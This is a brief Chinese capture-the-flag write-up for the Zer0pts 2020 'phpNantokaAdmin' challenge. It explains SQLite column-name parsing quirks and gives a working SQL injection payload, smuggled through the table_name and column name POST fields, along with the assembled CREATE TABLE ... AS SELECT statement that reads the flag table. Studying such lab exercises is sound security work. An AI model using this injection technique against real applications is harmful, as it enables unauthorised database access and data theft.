刷題記錄:[Zer0pts2020]phpNantokaAdmin


題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:Zer0pts CTF 2020

sqlite bypass技巧

  • select的時候,當列名用空白字符隔開時,sqlite只會把空格之前的字符當做列名,並且忽視空格后的字符

  • []'"`、一樣可以包裹列名

  • sqlite可以create table ... as select ...

解題

posttable_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2
最后拼接出來的sql語句是

create table [aaa] as select [flag_2a2d04c3][(dummy1 TEXT, dummy2 TEXT,`]from flag_bf1811da;`2);


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM